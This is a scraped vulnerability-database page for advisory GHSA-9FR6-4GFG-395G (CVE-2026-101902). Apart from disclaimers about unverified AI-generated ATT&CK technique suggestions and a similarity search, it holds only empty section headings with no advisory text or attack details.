The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-9FR6-4GFG-395G

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Original report

CVE-2026-101902 (GCVE-0-2026-101902)

Tags

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Nomenclature

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